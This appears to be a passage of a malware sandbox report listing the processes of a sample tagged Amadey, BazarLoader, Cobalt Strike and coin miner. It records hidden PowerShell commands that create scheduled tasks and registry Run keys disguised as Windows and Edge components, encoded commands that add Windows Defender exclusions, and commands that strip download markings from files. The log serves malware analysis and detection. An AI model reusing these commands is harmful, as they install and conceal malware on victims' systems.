  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "InputSwitchSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"
  2⤵
  PID:5732
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn InputSwitchSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc ONLOGON /rl LIMITED /f 2>nul"
    3⤵
    PID:5624
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn InputSwitchSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc ONLOGON /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "InputSwitchSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"
  2⤵
  PID:240
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "schtasks /create /tn InputSwitchSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"
    3⤵
    PID:1520
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn InputSwitchSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABBAHAAcABEAGEAdABhAFwAXABMAG8AYwBhAGwAXABcAFQAZQBtAHAAXABcADIAMAAyADYALQAwADcALQAxADcAXwAwADcAOAA4AGIAZAA1AGIAYwBjADEAMABjADgAMQBhADcAMAA4ADQANAA0ADUANAAwADQANwBiADgAYgBiADcAXwBhAG0AYQBkAGUAeQBfAGIAYQB6AGEAcgBsAG8AYQBkAGUAcgBfAGMAbwBiAGEAbAB0AC0AcwB0AHIAaQBrAGUAXwBjAG8AaQBuAG0AaQBuAGUAcgBfAGcAbABhAHMAcwB3AG8AcgBtAF8AaQBjAGUALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:4816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAHIAbwBjAGUAcwBzAGUAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAkAGsAKQApAHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABrACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAfQA7AE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAkAGsAIAAtAE4AYQBtAGUAIAAnADIAMAAyADYALQAwADcALQAxADcAXwAwADcAOAA4AGIAZAA1AGIAYwBjADEAMABjADgAMQBhADcAMAA4ADQANAA0ADUANAAwADQANwBiADgAYgBiADcAXwBhAG0AYQBkAGUAeQBfAGIAYQB6AGEAcgBsAG8AYQBkAGUAcgBfAGMAbwBiAGEAbAB0AC0AcwB0AHIAaQBrAGUAXwBjAG8AaQBuAG0AaQBuAGUAcgBfAGcAbABhAHMAcwB3AG8AcgBtAF8AaQBjAGUALgBlAHgAZQAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:5136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAGsAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABEAG8AdwBuAGwAbwBhAGQAcwAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:1180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand dAByAHkAewAkAHAAPQAnAEgASwBDAFUAOgBcAFMAbwBmAHQAdwBhAHIAZQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAJwA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAcAApACkAewBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAB9ADsATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcAAgAC0ATgBhAG0AZQAgACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsACcAIAAtAFYAYQBsAHUAZQAgADAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAARABXAE8AUgBEACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABwACAALQBOAGEAbQBlACAAJwBDADoAXABcAFUAcwBlAHIAcwBcAFwAQQBkAG0AaQBuAFwAXABEAG8AdwBuAGwAbwBhAGQAcwAnACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -EncodedCommand JABlAD0AQAAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsACcALAAnAEMAOgBcAFwAVQBzAGUAcgBzAFwAXABBAGQAbQBpAG4AXABcAEQAbwB3AG4AbABvAGEAZABzACcALAAnAEMAOgBcAFwAVQBzAGUAcgBzAFwAXABBAGQAbQBpAG4AXABcAEEAcABwAEQAYQB0AGEAXABcAEwAbwBjAGEAbABcAFwAVABlAG0AcAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABwACAAaQBuACAAJABlACkAewB0AHIAeQB7ACQAawA9ACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwARQB4AGMAbAB1AHMAaQBvAG4AcwBcAFAAYQB0AGgAcwAnADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABrACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAawAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AOwBOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABrACAALQBOAGEAbQBlACAAJABwACAALQBWAGEAbAB1AGUAIAAwACAALQBQAHIAbwBwAGUAcgB0AHkAVAB5AHAAZQAgAEQAVwBPAFIARAAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsAH0AYwBhAHQAYwBoAHsAfQB9AA==
  2⤵
  PID:3752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f'"
  2⤵
  PID:4844
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeAutoUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /f"
    3⤵
    PID:6220
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeAutoUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /f
      4⤵
      Modifies registry key
      PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe" /f'"
  2⤵
  PID:6552
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /f"
    3⤵
    PID:6324
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /f
      4⤵
      Modifies registry key
      PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsMediaCfg" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe" /f'"
  2⤵
  PID:6900
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsMediaCfg /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /f"
    3⤵
    PID:2772
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsMediaCfg /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /f
      4⤵
      Modifies registry key
      PID:4144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SearchFilterHost" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe" /f'"
  2⤵
  PID:5592
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchFilterHost /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /f"
    3⤵
    PID:6796
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchFilterHost /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /f
      4⤵
      Modifies registry key
      PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsUpdateAgent" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe" /f'"
  2⤵
  PID:7060
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateAgent /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /f"
    3⤵
    PID:6760
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateAgent /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /f
      4⤵
      Modifies registry key
      PID:6876
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "RuntimeBroker" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe" /f'"
  2⤵
  PID:3288
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /f"
    3⤵
    PID:1908
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /f
      4⤵
      Modifies registry key
      PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SecurityHealthSvc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe" /f'"
  2⤵
  PID:1900
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /f"
    3⤵
    PID:4648
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /f
      4⤵
      Modifies registry key
      PID:4508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SearchProtocol" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe" /f'"
  2⤵
  PID:4532
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocol /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /f"
    3⤵
    PID:7148
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocol /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /f
      4⤵
      Modifies registry key
      PID:7164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "OneDriveUpdater" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe" /f'"
  2⤵
  PID:4156
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /f"
    3⤵
    PID:3096
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /f
      4⤵
      Modifies registry key
      PID:6268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WLANAutoConfig" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe" /f'"
  2⤵
  PID:6612
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /f"
    3⤵
    PID:6176
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /f
      4⤵
      Modifies registry key
      PID:7044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "CryptoCertSvc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe" /f'"
  2⤵
  PID:6924
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v CryptoCertSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /f"
    3⤵
    PID:4444
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v CryptoCertSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /f
      4⤵
      PID:6308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:6424
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4492
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Temp\2026-07-17_0788bd5bcc10c81a70844454047b8bb7_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier 2>nul"
    3⤵
    PID:6148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:6564
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier 2>nul"
    3⤵
    PID:5020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:5728
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe:Zone.Identifier 2>nul"
    3⤵
    PID:7032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:1852
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4420
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe:Zone.Identifier 2>nul"
    3⤵
    PID:6516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:4852
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe:Zone.Identifier 2>nul"
    3⤵
    PID:3520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe:Zone.Identifier" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5208
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe:Zone.Identifier 2>nul"
    3⤵
    PID:5796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:6164
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe:Zone.Identifier 2>nul"
    3⤵
    PID:6216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:1472
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe:Zone.Identifier 2>nul"
    3⤵
    PID:6036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:2860
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe:Zone.Identifier 2>nul"
    3⤵
    PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:5096
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe:Zone.Identifier 2>nul"
    3⤵
    PID:6196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe:Zone.Identifier" 2>nul'"
  2⤵
  PID:2128
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe:Zone.Identifier 2>nul"
    3⤵
    PID:1132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe:Zone.Identifier" 2>nul'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5688
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe:Zone.Identifier 2>nul"
    3⤵
    PID:6436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()
  2⤵
  PID:6696

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
